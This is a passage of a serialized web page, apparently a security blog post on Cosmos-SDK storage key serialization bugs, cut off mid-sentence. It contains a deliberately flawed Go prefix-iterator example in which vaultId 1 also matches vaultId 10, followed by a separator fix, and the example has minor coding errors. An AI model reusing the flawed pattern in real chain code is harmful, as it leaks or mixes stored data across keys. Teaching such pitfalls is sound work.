"value":91309},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":33,"props":91311,"children":91312},{},[91313,91315,91320],{"type":30,"value":91314},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":156,"props":91316,"children":91318},{"className":91317},[],[91319],{"type":30,"value":70187},{"type":30,"value":91321},", data should still be retrievable through original keys.",{"type":24,"tag":33,"props":91323,"children":91324},{},[91325,91327,91333,91335,91340],{"type":30,"value":91326},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":156,"props":91328,"children":91330},{"className":91329},[],[91331],{"type":30,"value":91332},"map[Username]map[PositionName]Position",{"type":30,"value":91334}," associated with a ",{"type":24,"tag":156,"props":91336,"children":91338},{"className":91337},[],[91339],{"type":30,"value":88205},{"type":30,"value":91341}," from the storage. How can we safely accomplish this?",{"type":24,"tag":33,"props":91343,"children":91344},{},[91345,91347,91352,91354,91360],{"type":30,"value":91346},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":156,"props":91348,"children":91350},{"className":91349},[],[91351],{"type":30,"value":88276},{"type":30,"value":91353}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":156,"props":91355,"children":91357},{"className":91356},[],[91358],{"type":30,"value":91359},"vaultId",{"type":30,"value":476},{"type":24,"tag":920,"props":91362,"children":91364},{"code":91363,"language":79244,"meta":7,"className":79245,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[91365],{"type":24,"tag":156,"props":91366,"children":91367},{"__ignoreMap":7},[91368,91384,91399,91448,91500,91529,91541,91587,91594,91640,91695,91702,91766,91827,91850,91869,91876,91883,91943,92002,92025,92044,92051,92058,92111,92159,92166,92173,92213,92242,92249,92256,92268],{"type":24,"tag":930,"props":91369,"children":91370},{"class":932,"line":933},[91371,91375,91380],{"type":24,"tag":930,"props":91372,"children":91373},{"style":937},[91374],{"type":30,"value":79380},{"type":24,"tag":930,"props":91376,"children":91377},{"style":1002},[91378],{"type":30,"value":91379}," FetchPositionMapWithVaultId",{"type":24,"tag":930,"props":91381,"children":91382},{"style":959},[91383],{"type":30,"value":2814},{"type":24,"tag":930,"props":91385,"children":91386},{"class":932,"line":984},[91387,91391,91395],{"type":24,"tag":930,"props":91388,"children":91389},{"style":1023},[91390],{"type":30,"value":88317},{"type":24,"tag":930,"props":91392,"children":91393},{"style":943},[91394],{"type":30,"value":79500},{"type":24,"tag":930,"props":91396,"children":91397},{"style":959},[91398],{"type":30,"value":2832},{"type":24,"tag":930,"props":91400,"children":91401},{"class":932,"line":993},[91402,91407,91411,91415,91419,91423,91427,91431,91435,91439,91444],{"type":24,"tag":930,"props":91403,"children":91404},{"style":959},[91405],{"type":30,"value":91406},") ([]",{"type":24,"tag":930,"props":91408,"children":91409},{"style":937},[91410],{"type":30,"value":70187},{"type":24,"tag":930,"props":91412,"children":91413},{"style":959},[91414],{"type":30,"value":6849},{"type":24,"tag":930,"props":91416,"children":91417},{"style":943},[91418],{"type":30,"value":88222},{"type":24,"tag":930,"props":91420,"children":91421},{"style":959},[91422],{"type":30,"value":18514},{"type":24,"tag":930,"props":91424,"children":91425},{"style":937},[91426],{"type":30,"value":70187},{"type":24,"tag":930,"props":91428,"children":91429},{"style":959},[91430],{"type":30,"value":6849},{"type":24,"tag":930,"props":91432,"children":91433},{"style":943},[91434],{"type":30,"value":88239},{"type":24,"tag":930,"props":91436,"children":91437},{"style":959},[91438],{"type":30,"value":18514},{"type":24,"tag":930,"props":91440,"children":91441},{"style":943},[91442],{"type":30,"value":91443},"Position",{"type":24,"tag":930,"props":91445,"children":91446},{"style":959},[91447],{"type":30,"value":1503},{"type":24,"tag":930,"props":91449,"children":91450},{"class":932,"line":1057},[91451,91456,91460,91464,91468,91472,91476,91480,91484,91488,91492,91496],{"type":24,"tag":930,"props":91452,"children":91453},{"style":1023},[91454],{"type":30,"value":91455},"    values",{"type":24,"tag":930,"props":91457,"children":91458},{"style":1158},[91459],{"type":30,"value":79495},{"type":24,"tag":930,"props":91461,"children":91462},{"style":937},[91463],{"type":30,"value":52758},{"type":24,"tag":930,"props":91465,"children":91466},{"style":959},[91467],{"type":30,"value":6849},{"type":24,"tag":930,"props":91469,"children":91470},{"style":943},[91471],{"type":30,"value":88222},{"type":24,"tag":930,"props":91473,"children":91474},{"style":959},[91475],{"type":30,"value":18514},{"type":24,"tag":930,"props":91477,"children":91478},{"style":937},[91479],{"type":30,"value":70187},{"type":24,"tag":930,"props":91481,"children":91482},{"style":959},[91483],{"type":30,"value":6849},{"type":24,"tag":930,"props":91485,"children":91486},{"style":943},[91487],{"type":30,"value":88239},{"type":24,"tag":930,"props":91489,"children":91490},{"style":959},[91491],{"type":30,"value":18514},{"type":24,"tag":930,"props":91493,"children":91494},{"style":943},[91495],{"type":30,"value":91443},{"type":24,"tag":930,"props":91497,"children":91498},{"style":959},[91499],{"type":30,"value":81176},{"type":24,"tag":930,"props":91501,"children":91502},{"class":932,"line":1066},[91503,91508,91512,91516,91520,91525],{"type":24,"tag":930,"props":91504,"children":91505},{"style":1023},[91506],{"type":30,"value":91507},"    i",{"type":24,"tag":930,"props":91509,"children":91510},{"style":1158},[91511],{"type":30,"value":79495},{"type":24,"tag":930,"props":91513,"children":91514},{"style":1023},[91515],{"type":30,"value":81720},{"type":24,"tag":930,"props":91517,"children":91518},{"style":959},[91519],{"type":30,"value":436},{"type":24,"tag":930,"props":91521,"children":91522},{"style":1002},[91523],{"type":30,"value":91524},"KVStorePrefixIterator",{"type":24,"tag":930,"props":91526,"children":91527},{"style":959},[91528],{"type":30,"value":2814},{"type":24,"tag":930,"props":91530,"children":91531},{"class":932,"line":1075},[91532,91537],{"type":24,"tag":930,"props":91533,"children":91534},{"style":1023},[91535],{"type":30,"value":91536},"        kvStore",{"type":24,"tag":930,"props":91538,"children":91539},{"style":959},[91540],{"type":30,"value":2832},{"type":24,"tag":930,"props":91542,"children":91543},{"class":932,"line":1122},[91544,91549,91553,91557,91561,91566,91570,91575,91579,91583],{"type":24,"tag":930,"props":91545,"children":91546},{"style":1023},[91547],{"type":30,"value":91548},"        fmt",{"type":24,"tag":930,"props":91550,"children":91551},{"style":959},[91552],{"type":30,"value":436},{"type":24,"tag":930,"props":91554,"children":91555},{"style":1002},[91556],{"type":30,"value":88293},{"type":24,"tag":930,"props":91558,"children":91559},{"style":959},[91560],{"type":30,"value":1010},{"type":24,"tag":930,"props":91562,"children":91563},{"style":1270},[91564],{"type":30,"value":91565},"\"%s%d\"",{"type":24,"tag":930,"props":91567,"children":91568},{"style":959},[91569],{"type":30,"value":962},{"type":24,"tag":930,"props":91571,"children":91572},{"style":1023},[91573],{"type":30,"value":91574},"PositionMapPrefix",{"type":24,"tag":930,"props":91576,"children":91577},{"style":959},[91578],{"type":30,"value":962},{"type":24,"tag":930,"props":91580,"children":91581},{"style":1023},[91582],{"type":30,"value":91359},{"type":24,"tag":930,"props":91584,"children":91585},{"style":959},[91586],{"type":30,"value":1054},{"type":24,"tag":930,"props":91588,"children":91589},{"class":932,"line":1131},[91590],{"type":24,"tag":930,"props":91591,"children":91592},{"style":959},[91593],{"type":30,"value":2877},{"type":24,"tag":930,"props":91595,"children":91596},{"class":932,"line":1144},[91597,91601,91606,91610,91614,91619,91623,91627,91631,91636],{"type":24,"tag":930,"props":91598,"children":91599},{"style":1079},[91600],{"type":30,"value":6154},{"type":24,"tag":930,"props":91602,"children":91603},{"style":959},[91604],{"type":30,"value":91605}," ; ",{"type":24,"tag":930,"props":91607,"children":91608},{"style":1023},[91609],{"type":30,"value":6854},{"type":24,"tag":930,"props":91611,"children":91612},{"style":959},[91613],{"type":30,"value":436},{"type":24,"tag":930,"props":91615,"children":91616},{"style":1002},[91617],{"type":30,"value":91618},"Valid",{"type":24,"tag":930,"props":91620,"children":91621},{"style":959},[91622],{"type":30,"value":31541},{"type":24,"tag":930,"props":91624,"children":91625},{"style":1023},[91626],{"type":30,"value":6854},{"type":24,"tag":930,"props":91628,"children":91629},{"style":959},[91630],{"type":30,"value":436},{"type":24,"tag":930,"props":91632,"children":91633},{"style":1002},[91634],{"type":30,"value":91635},"Next",{"type":24,"tag":930,"props":91637,"children":91638},{"style":959},[91639],{"type":30,"value":18839},{"type":24,"tag":930,"props":91641,"children":91642},{"class":932,"line":1169},[91643,91648,91652,91657,91661,91665,91669,91673,91677,91682,91686,91691],{"type":24,"tag":930,"props":91644,"children":91645},{"style":1023},[91646],{"type":30,"value":91647},"        k",{"type":24,"tag":930,"props":91649,"children":91650},{"style":1158},[91651],{"type":30,"value":79495},{"type":24,"tag":930,"props":91653,"children":91654},{"style":1023},[91655],{"type":30,"value":91656}," strings",{"type":24,"tag":930,"props":91658,"children":91659},{"style":959},[91660],{"type":30,"value":436},{"type":24,"tag":930,"props":91662,"children":91663},{"style":1002},[91664],{"type":30,"value":73127},{"type":24,"tag":930,"props":91666,"children":91667},{"style":959},[91668],{"type":30,"value":1010},{"type":24,"tag":930,"props":91670,"children":91671},{"style":1023},[91672],{"type":30,"value":6854},{"type":24,"tag":930,"props":91674,"children":91675},{"style":959},[91676],{"type":30,"value":436},{"type":24,"tag":930,"props":91678,"children":91679},{"style":1002},[91680],{"type":30,"value":91681},"Key",{"type":24,"tag":930,"props":91683,"children":91684},{"style":959},[91685],{"type":30,"value":1364},{"type":24,"tag":930,"props":91687,"children":91688},{"style":1023},[91689],{"type":30,"value":91690},"Seperator",{"type":24,"tag":930,"props":91692,"children":91693},{"style":959},[91694],{"type":30,"value":1054},{"type":24,"tag":930,"props":91696,"children":91697},{"class":932,"line":1191},[91698],{"type":24,"tag":930,"props":91699,"children":91700},{"emptyLinePlaceholder":16},[91701],{"type":30,"value":2412},{"type":24,"tag":930,"props":91703,"children":91704},{"class":932,"line":1223},[91705,91710,91714,91718,91723,91727,91731,91735,91739,91744,91748,91753,91757,91761],{"type":24,"tag":930,"props":91706,"children":91707},{"style":1023},[91708],{"type":30,"value":91709},"        username",{"type":24,"tag":930,"props":91711,"children":91712},{"style":1158},[91713],{"type":30,"value":79495},{"type":24,"tag":930,"props":91715,"children":91716},{"style":1002},[91717],{"type":30,"value":88634},{"type":24,"tag":930,"props":91719,"children":91720},{"style":959},[91721],{"type":30,"value":91722},"([]",{"type":24,"tag":930,"props":91724,"children":91725},{"style":943},[91726],{"type":30,"value":87835},{"type":24,"tag":930,"props":91728,"children":91729},{"style":959},[91730],{"type":30,"value":962},{"type":24,"tag":930,"props":91732,"children":91733},{"style":1023},[91734],{"type":30,"value":88707},{"type":24,"tag":930,"props":91736,"children":91737},{"style":959},[91738],{"type":30,"value":436},{"type":24,"tag":930,"props":91740,"children":91741},{"style":1002},[91742],{"type":30,"value":91743},"DecodedLen",{"type":24,"tag":930,"props":91745,"children":91746},{"style":959},[91747],{"type":30,"value":1010},{"type":24,"tag":930,"props":91749,"children":91750},{"style":1023},[91751],{"type":30,"value":91752},"k",{"type":24,"tag":930,"props":91754,"children":91755},{"style":959},[91756],{"type":30,"value":6849},{"type":24,"tag":930,"props":91758,"children":91759},{"style":1242},[91760],{"type":30,"value":1818},{"type":24,"tag":930,"props":91762,"children":91763},{"style":959},[91764],{"type":30,"value":91765},"]))\n",{"type":24,"tag":930,"props":91767,"children":91768},{"class":932,"line":1281},[91769,91773,91777,91781,91785,91790,91794,91799,91803,91807,91811,91815,91819,91823],{"type":24,"tag":930,"props":91770,"children":91771},{"style":1023},[91772],{"type":30,"value":30840},{"type":24,"tag":930,"props":91774,"children":91775},{"style":959},[91776],{"type":30,"value":962},{"type":24,"tag":930,"props":91778,"children":91779},{"style":1023},[91780],{"type":30,"value":51509},{"type":24,"tag":930,"props":91782,"children":91783},{"style":1158},[91784],{"type":30,"value":79495},{"type":24,"tag":930,"props":91786,"children":91787},{"style":1023},[91788],{"type":30,"value":91789}," hex",{"type":24,"tag":930,"props":91791,"children":91792},{"style":959},[91793],{"type":30,"value":436},{"type":24,"tag":930,"props":91795,"children":91796},{"style":1002},[91797],{"type":30,"value":91798},"Decode",{"type":24,"tag":930,"props":91800,"children":91801},{"style":959},[91802],{"type":30,"value":1010},{"type":24,"tag":930,"props":91804,"children":91805},{"style":1023},[91806],{"type":30,"value":88541},{"type":24,"tag":930,"props":91808,"children":91809},{"style":959},[91810],{"type":30,"value":962},{"type":24,"tag":930,"props":91812,"children":91813},{"style":1023},[91814],{"type":30,"value":91752},{"type":24,"tag":930,"props":91816,"children":91817},{"style":959},[91818],{"type":30,"value":6849},{"type":24,"tag":930,"props":91820,"children":91821},{"style":1242},[91822],{"type":30,"value":1818},{"type":24,"tag":930,"props":91824,"children":91825},{"style":959},[91826],{"type":30,"value":58530},{"type":24,"tag":930,"props":91828,"children":91829},{"class":932,"line":1313},[91830,91834,91838,91842,91846],{"type":24,"tag":930,"props":91831,"children":91832},{"style":1079},[91833],{"type":30,"value":3290},{"type":24,"tag":930,"props":91835,"children":91836},{"style":1023},[91837],{"type":30,"value":51610},{"type":24,"tag":930,"props":91839,"children":91840},{"style":1158},[91841],{"type":30,"value":67472},{"type":24,"tag":930,"props":91843,"children":91844},{"style":937},[91845],{"type":30,"value":84989},{"type":24,"tag":930,"props":91847,"children":91848},{"style":959},[91849],{"type":30,"value":981},{"type":24,"tag":930,"props":91851,"children":91852},{"class":932,"line":1335},[91853,91857,91861,91865],{"type":24,"tag":930,"props":91854,"children":91855},{"style":1079},[91856],{"type":30,"value":4279},{"type":24,"tag":930,"props":91858,"children":91859},{"style":937},[91860],{"type":30,"value":84989},{"type":24,"tag":930,"props":91862,"children":91863},{"style":959},[91864],{"type":30,"value":962},{"type":24,"tag":930,"props":91866,"children":91867},{"style":1023},[91868],{"type":30,"value":86710},{"type":24,"tag":930,"props":91870,"children":91871},{"class":932,"line":1376},[91872],{"type":24,"tag":930,"props":91873,"children":91874},{"style":959},[91875],{"type":30,"value":1831},{"type":24,"tag":930,"props":91877,"children":91878},{"class":932,"line":1418},[91879],{"type":24,"tag":930,"props":91880,"children":91881},{"emptyLinePlaceholder":16},[91882],{"type":30,"value":2412},{"type":24,"tag":930,"props":91884,"children":91885},{"class":932,"line":1438},[91886,91891,91895,91899,91903,91907,91911,91915,91919,91923,91927,91931,91935,91939],{"type":24,"tag":930,"props":91887,"children":91888},{"style":1023},[91889],{"type":30,"value":91890},"        positionName",{"type":24,"tag":930,"props":91892,"children":91893},{"style":1158},[91894],{"type":30,"value":79495},{"type":24,"tag":930,"props":91896,"children":91897},{"style":1002},[91898],{"type":30,"value":88634},{"type":24,"tag":930,"props":91900,"children":91901},{"style":959},[91902],{"type":30,"value":91722},{"type":24,"tag":930,"props":91904,"children":91905},{"style":943},[91906],{"type":30,"value":87835},{"type":24,"tag":930,"props":91908,"children":91909},{"style":959},[91910],{"type":30,"value":962},{"type":24,"tag":930,"props":91912,"children":91913},{"style":1023},[91914],{"type":30,"value":88707},{"type":24,"tag":930,"props":91916,"children":91917},{"style":959},[91918],{"type":30,"value":436},{"type":24,"tag":930,"props":91920,"children":91921},{"style":1002},[91922],{"type":30,"value":91743},{"type":24,"tag":930,"props":91924,"children":91925},{"style":959},[91926],{"type":30,"value":1010},{"type":24,"tag":930,"props":91928,"children":91929},{"style":1023},[91930],{"type":30,"value":91752},{"type":24,"tag":930,"props":91932,"children":91933},{"style":959},[91934],{"type":30,"value":6849},{"type":24,"tag":930,"props":91936,"children":91937},{"style":1242},[91938],{"type":30,"value":7129},{"type":24,"tag":930,"props":91940,"children":91941},{"style":959},[91942],{"type":30,"value":91765},{"type":24,"tag":930,"props":91944,"children":91945},{"class":932,"line":1479},[91946,91950,91954,91958,91962,91966,91970,91974,91978,91982,91986,91990,91994,91998],{"type":24,"tag":930,"props":91947,"children":91948},{"style":1023},[91949],{"type":30,"value":30840},{"type":24,"tag":930,"props":91951,"children":91952},{"style":959},[91953],{"type":30,"value":962},{"type":24,"tag":930,"props":91955,"children":91956},{"style":1023},[91957],{"type":30,"value":51509},{"type":24,"tag":930,"props":91959,"children":91960},{"style":1158},[91961],{"type":30,"value":79495},{"type":24,"tag":930,"props":91963,"children":91964},{"style":1023},[91965],{"type":30,"value":91789},{"type":24,"tag":930,"props":91967,"children":91968},{"style":959},[91969],{"type":30,"value":436},{"type":24,"tag":930,"props":91971,"children":91972},{"style":1002},[91973],{"type":30,"value":91798},{"type":24,"tag":930,"props":91975,"children":91976},{"style":959},[91977],{"type":30,"value":1010},{"type":24,"tag":930,"props":91979,"children":91980},{"style":1023},[91981],{"type":30,"value":88810},{"type":24,"tag":930,"props":91983,"children":91984},{"style":959},[91985],{"type":30,"value":962},{"type":24,"tag":930,"props":91987,"children":91988},{"style":1023},[91989],{"type":30,"value":91752},{"type":24,"tag":930,"props":91991,"children":91992},{"style":959},[91993],{"type":30,"value":6849},{"type":24,"tag":930,"props":91995,"children":91996},{"style":1242},[91997],{"type":30,"value":7129},{"type":24,"tag":930,"props":91999,"children":92000},{"style":959},[92001],{"type":30,"value":58530},{"type":24,"tag":930,"props":92003,"children":92004},{"class":932,"line":1506},[92005,92009,92013,92017,92021],{"type":24,"tag":930,"props":92006,"children":92007},{"style":1079},[92008],{"type":30,"value":3290},{"type":24,"tag":930,"props":92010,"children":92011},{"style":1023},[92012],{"type":30,"value":51610},{"type":24,"tag":930,"props":92014,"children":92015},{"style":1158},[92016],{"type":30,"value":67472},{"type":24,"tag":930,"props":92018,"children":92019},{"style":937},[92020],{"type":30,"value":84989},{"type":24,"tag":930,"props":92022,"children":92023},{"style":959},[92024],{"type":30,"value":981},{"type":24,"tag":930,"props":92026,"children":92027},{"class":932,"line":1525},[92028,92032,92036,92040],{"type":24,"tag":930,"props":92029,"children":92030},{"style":1079},[92031],{"type":30,"value":4279},{"type":24,"tag":930,"props":92033,"children":92034},{"style":937},[92035],{"type":30,"value":84989},{"type":24,"tag":930,"props":92037,"children":92038},{"style":959},[92039],{"type":30,"value":962},{"type":24,"tag":930,"props":92041,"children":92042},{"style":1023},[92043],{"type":30,"value":86710},{"type":24,"tag":930,"props":92045,"children":92046},{"class":932,"line":1569},[92047],{"type":24,"tag":930,"props":92048,"children":92049},{"style":959},[92050],{"type":30,"value":1831},{"type":24,"tag":930,"props":92052,"children":92053},{"class":932,"line":1592},[92054],{"type":24,"tag":930,"props":92055,"children":92056},{"emptyLinePlaceholder":16},[92057],{"type":30,"value":2412},{"type":24,"tag":930,"props":92059,"children":92060},{"class":932,"line":1610},[92061,92065,92069,92073,92077,92081,92086,92090,92094,92099,92103,92107],{"type":24,"tag":930,"props":92062,"children":92063},{"style":1079},[92064],{"type":30,"value":3290},{"type":24,"tag":930,"props":92066,"children":92067},{"style":1023},[92068],{"type":30,"value":65728},{"type":24,"tag":930,"props":92070,"children":92071},{"style":959},[92072],{"type":30,"value":962},{"type":24,"tag":930,"props":92074,"children":92075},{"style":1023},[92076],{"type":30,"value":81846},{"type":24,"tag":930,"props":92078,"children":92079},{"style":1158},[92080],{"type":30,"value":79495},{"type":24,"tag":930,"props":92082,"children":92083},{"style":1023},[92084],{"type":30,"value":92085}," values",{"type":24,"tag":930,"props":92087,"children":92088},{"style":959},[92089],{"type":30,"value":6849},{"type":24,"tag":930,"props":92091,"children":92092},{"style":1023},[92093],{"type":30,"value":88541},{"type":24,"tag":930,"props":92095,"children":92096},{"style":959},[92097],{"type":30,"value":92098},"]; ",{"type":24,"tag":930,"props":92100,"children":92101},{"style":1158},[92102],{"type":30,"value":3299},{"type":24,"tag":930,"props":92104,"children":92105},{"style":1023},[92106],{"type":30,"value":81846},{"type":24,"tag":930,"props":92108,"children":92109},{"style":959},[92110],{"type":30,"value":981},{"type":24,"tag":930,"props":92112,"children":92113},{"class":932,"line":1628},[92114,92119,92123,92127,92131,92135,92139,92143,92147,92151,92155],{"type":24,"tag":930,"props":92115,"children":92116},{"style":1023},[92117],{"type":30,"value":92118},"            values",{"type":24,"tag":930,"props":92120,"children":92121},{"style":959},[92122],{"type":30,"value":6849},{"type":24,"tag":930,"props":92124,"children":92125},{"style":1023},[92126],{"type":30,"value":88541},{"type":24,"tag":930,"props":92128,"children":92129},{"style":959},[92130],{"type":30,"value":11770},{"type":24,"tag":930,"props":92132,"children":92133},{"style":1158},[92134],{"type":30,"value":1161},{"type":24,"tag":930,"props":92136,"children":92137},{"style":1002},[92138],{"type":30,"value":88634},{"type":24,"tag":930,"props":92140,"children":92141},{"style":959},[92142],{"type":30,"value":1010},{"type":24,"tag":930,"props":92144,"children":92145},{"style":937},[92146],{"type":30,"value":70187},{"type":24,"tag":930,"props":92148,"children":92149},{"style":959},[92150],{"type":30,"value":6849},{"type":24,"tag":930,"props":92152,"children":92153},{"style":943},[92154],{"type":30,"value":88239},{"type":24,"tag":930,"props":92156,"children":92157},{"style":959},[92158],{"type":30,"value":58530},{"type":24,"tag":930,"props":92160,"children":92161},{"class":932,"line":1637},[92162],{"type":24,"tag":930,"props":92163,"children":92164},{"style":959},[92165],{"type":30,"value":1831},{"type":24,"tag":930,"props":92167,"children":92168},{"class":932,"line":1646},[92169],{"type":24,"tag":930,"props":92170,"children":92171},{"emptyLinePlaceholder":16},[92172],{"type":30,"value":2412},{"type":24,"tag":930,"props":92174,"children":92175},{"class":932,"line":1673},[92176,92181,92185,92189,92193,92197,92201,92205,92209],{"type":24,"tag":930,"props":92177,"children":92178},{"style":1023},[92179],{"type":30,"value":92180},"        values",{"type":24,"tag":930,"props":92182,"children":92183},{"style":959},[92184],{"type":30,"value":6849},{"type":24,"tag":930,"props":92186,"children":92187},{"style":1023},[92188],{"type":30,"value":88541},{"type":24,"tag":930,"props":92190,"children":92191},{"style":959},[92192],{"type":30,"value":52047},{"type":24,"tag":930,"props":92194,"children":92195},{"style":1023},[92196],{"type":30,"value":88810},{"type":24,"tag":930,"props":92198,"children":92199},{"style":959},[92200],{"type":30,"value":11770},{"type":24,"tag":930,"props":92202,"children":92203},{"style":1158},[92204],{"type":30,"value":1161},{"type":24,"tag":930,"props":92206,"children":92207},{"style":1023},[92208],{"type":30,"value":10536},{"type":24,"tag":930,"props":92210,"children":92211},{"style":959},[92212],{"type":30,"value":981},{"type":24,"tag":930,"props":92214,"children":92215},{"class":932,"line":1692},[92216,92220,92224,92229,92233,92238],{"type":24,"tag":930,"props":92217,"children":92218},{"style":1023},[92219],{"type":30,"value":30043},{"type":24,"tag":930,"props":92221,"children":92222},{"style":959},[92223],{"type":30,"value":18434},{"type":24,"tag":930,"props":92225,"children":92226},{"style":1023},[92227],{"type":30,"value":92228},"iterator",{"type":24,"tag":930,"props":92230,"children":92231},{"style":959},[92232],{"type":30,"value":436},{"type":24,"tag":930,"props":92234,"children":92235},{"style":1002},[92236],{"type":30,"value":92237},"Value",{"type":24,"tag":930,"props":92239,"children":92240},{"style":959},[92241],{"type":30,"value":6607},{"type":24,"tag":930,"props":92243,"children":92244},{"class":932,"line":1730},[92245],{"type":24,"tag":930,"props":92246,"children":92247},{"style":959},[92248],{"type":30,"value":1831},{"type":24,"tag":930,"props":92250,"children":92251},{"class":932,"line":1762},[92252],{"type":24,"tag":930,"props":92253,"children":92254},{"style":959},[92255],{"type":30,"value":1840},{"type":24,"tag":930,"props":92257,"children":92258},{"class":932,"line":1775},[92259,92263],{"type":24,"tag":930,"props":92260,"children":92261},{"style":1079},[92262],{"type":30,"value":20090},{"type":24,"tag":930,"props":92264,"children":92265},{"style":1023},[92266],{"type":30,"value":92267}," values\n",{"type":24,"tag":930,"props":92269,"children":92270},{"class":932,"line":1825},[92271],{"type":24,"tag":930,"props":92272,"children":92273},{"style":959},[92274],{"type":30,"value":2528},{"type":24,"tag":33,"props":92276,"children":92277},{},[92278,92280,92286,92287,92293,92295,92300,92302,92307,92309,92314,92316,92322,92324,92330],{"type":30,"value":92279},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":156,"props":92281,"children":92283},{"className":92282},[],[92284],{"type":30,"value":92285},"vaultId = 1",{"type":30,"value":211},{"type":24,"tag":156,"props":92288,"children":92290},{"className":92289},[],[92291],{"type":30,"value":92292},"vaultId = 10",{"type":30,"value":92294}," coexist. If we try to fetch data under ",{"type":24,"tag":156,"props":92296,"children":92298},{"className":92297},[],[92299],{"type":30,"value":92285},{"type":30,"value":92301},", all entries under ",{"type":24,"tag":156,"props":92303,"children":92305},{"className":92304},[],[92306],{"type":30,"value":92292},{"type":30,"value":92308}," will also be returned simply because ",{"type":24,"tag":156,"props":92310,"children":92312},{"className":92311},[],[92313],{"type":30,"value":7129},{"type":30,"value":92315}," is a prefix of ",{"type":24,"tag":156,"props":92317,"children":92319},{"className":92318},[],[92320],{"type":30,"value":92321},"10",{"type":30,"value":92323},". To fix this, we must once again append the ",{"type":24,"tag":156,"props":92325,"children":92327},{"className":92326},[],[92328],{"type":30,"value":92329},"Separator",{"type":30,"value":92331}," to the iterator prefix.",{"type":24,"tag":920,"props":92333,"children":92335},{"code":92334,"language":79244,"meta":7,"className":79245,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[92336],{"type":24,"tag":156,"props":92337,"children":92338},{"__ignoreMap":7},[92339,92366,92378,92431],{"type":24,"tag":930,"props":92340,"children":92341},{"class":932,"line":933},[92342,92346,92350,92354,92358,92362],{"type":24,"tag":930,"props":92343,"children":92344},{"style":1023},[92345],{"type":30,"value":6854},{"type":24,"tag":930,"props":92347,"children":92348},{"style":1158},[92349],{"type":30,"value":79495},{"type":24,"tag":930,"props":92351,"children":92352},{"style":1023},[92353],{"type":30,"value":81720},{"type":24,"tag":930,"props":92355,"children":92356},{"style":959},[92357],{"type":30,"value":436},{"type":24,"tag":930,"props":92359,"children":92360},{"style":1002},[92361],{"type":30,"value":91524},{"type":24,"tag":930,"props":92363,"children":92364},{"style":959},[92365],{"type":30,"value":2814},{"type":24,"tag":930,"props":92367,"children":92368},{"class":932,"line":984},[92369,92374],{"type":24,"tag":930,"props":92370,"children":92371},{"style":1023},[92372],{"type":30,"value":92373},"    kvStore",{"type":24,"tag":930,"props":92375,"children":92376},{"style":959},[92377],{"type":30,"value":2832},{"type":24,"tag":930,"props":92379,"children":92380},{"class":932,"line":993},[92381,92386,92390,92394,92398,92403,92407,92411,92415,92419,92423,92427],{"type":24,"tag":930,"props":92382,"children":92383},{"style":1023},[92384],{"type":30,"value":92385},"    fmt",{"type":24,"tag":930,"props":92387,"children":92388},{"style":959},[92389],{"type":30,"value":436},{"type":24,"tag":930,"props":92391,"children":92392},{"style":1002},[92393],{"type":30,"value":88293},{"type":24,"tag":930,"props":92395,"children":92396},{"style":959},[92397],{"type":30,"value":1010},{"type":24,"tag":930,"props":92399,"children":92400},{"style":1270},[92401],{"type":30,"value":92402},"\"%s%d%s\"",{"type":24,"tag":930,"props":92404,"children":92405},{"style":959},[92406],{"type":30,"value":962},{"type":24,"tag":930,"props":92408,"children":92409},{"style":1023},[92410],{"type":30,"value":91574},{"type":24,"tag":930,"props":92412,"children":92413},{"style":959},[92414],{"type":30,"value":962},{"type":24,"tag":930,"props":92416,"children":92417},{"style":1023},[92418],{"type":30,"value":91359},{"type":24,"tag":930,"props":92420,"children":92421},{"style":959},[92422],{"type":30,"value":962},{"type":24,"tag":930,"props":92424,"children":92425},{"style":1023},[92426],{"type":30,"value":91690},{"type":24,"tag":930,"props":92428,"children":92429},{"style":959},[92430],{"type":30,"value":9848},{"type":24,"tag":930,"props":92432,"children":92433},{"class":932,"line":1057},[92434],{"type":24,"tag":930,"props":92435,"children":92436},{"style":959},[92437],{"type":30,"value":1054},{"type":24,"tag":33,"props":92439,"children":92440},{},[92441,92443,92448],{"type":30,"value":92442},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":156,"props":92444,"children":92446},{"className":92445},[],[92447],{"type":30,"value":88047},{"type":30,"value":92449}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":33,"props":92451,"children":92452},{},[92453],{"type":30,"value":92454},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":151,"props":92456,"children":92458},{"id":92457},"real-world-examples-5",[92459],{"type":30,"value":79768},{"type":24,"tag":33,"props":92461,"children":92462},{},[92463,92464,92469,92471,92478,92480,92486],{"type":30,"value":259},{"type":24,"tag":156,"props":92465,"children":92467},{"className":92466},[],[92468],{"type":30,"value":81541},{"type":30,"value":92470}," previously lacked protection against KVStore ",{"type":24,"tag":37,"props":92472,"children":92475},{"href":92473,"rel":92474},"https://github.com/cosmos/cosmos-sdk/pull/9363",[41],[92476],{"type":30,"value":92477},"key collisions",{"type":30,"value":92479},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":156,"props":92481,"children":92483},{"className":92482},[],[92484],{"type":30,"value":92485},"KVStores",{"type":30,"value":92487}," that were not independent of each 